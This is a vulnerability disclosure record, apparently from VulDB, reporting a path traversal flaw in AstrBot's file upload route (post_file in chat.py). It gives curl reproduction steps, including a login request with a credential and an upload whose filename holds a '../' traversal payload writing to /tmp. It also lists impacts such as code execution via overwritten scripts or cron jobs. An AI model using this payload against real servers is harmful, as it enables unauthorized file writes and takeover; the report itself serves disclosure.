제출 #811172: AstrBotDevs AstrBot latest Path Traversal (CWE-22)

# Technical Details
An Arbitrary File Write vulnerability exists in the `post_file()` method in `astrbot/dashboard/routes/chat.py` (lines 149–163) of AstrBot.

The application fails to sanitize the `filename` field from multipart/form-data uploads before passing it to `os.path.join(attachments_dir, filename)` and `await file.save(path)`, allowing path traversal sequences (e.g., `../../../../tmp/evil.txt`) to escape the intended attachments directory.

# Vulnerable Code
File: astrbot/dashboard/routes/chat.py (L149–163)
Method: post_file()
Why: The filename from the multipart upload is used directly in os.path.join() without applying os.path.basename() or werkzeug.utils.secure_filename(), allowing directory traversal to write files anywhere the process has access.

# Reproduction
1. Authenticate to obtain a JWT token:
curl -X POST http://127.0.0.1:6185/api/auth/login -H "Content-Type: application/json" -d '{"username":"astrbot","password":"77b90590a8945a7d36c963981a307dc9"}'
2. Upload a file with a traversal filename:
curl -X POST http://127.0.0.1:6185/api/chat/post_file -H "Authorization: Bearer <TOKEN>" -F "[email protected];filename=../../../../../../../../tmp/pwned.txt"
3. Verify the file was written outside the intended directory:
docker exec astrbot_container cat /tmp/pwned.txt

# Impact
- Arbitrary File Write to any path writable by the server process
- Remote Code Execution via overwriting application scripts (.py files) or cron jobs
- Denial of Service via overwriting critical system configuration files
- Data Exfiltration enablement through cron/service configuration poisoning

• 원천: ⚠️ https://gist.github.com/YLChen-007/054415c2b63e58813328bc879a90c504
• 사용자: Eric-a (UID 96353)
• 제출: 2026. 04. 23. AM 09:31 (1 월 ago)
• 모더레이션: 2026. 05. 16. PM 07:34 (23 days later)
• 상태: 수락
• VulDB 항목: 364381 [AstrBotDevs AstrBot 까지 4.23.5 File Upload chat.py post_file filename 디렉토리 순회]
• 포인트들: 20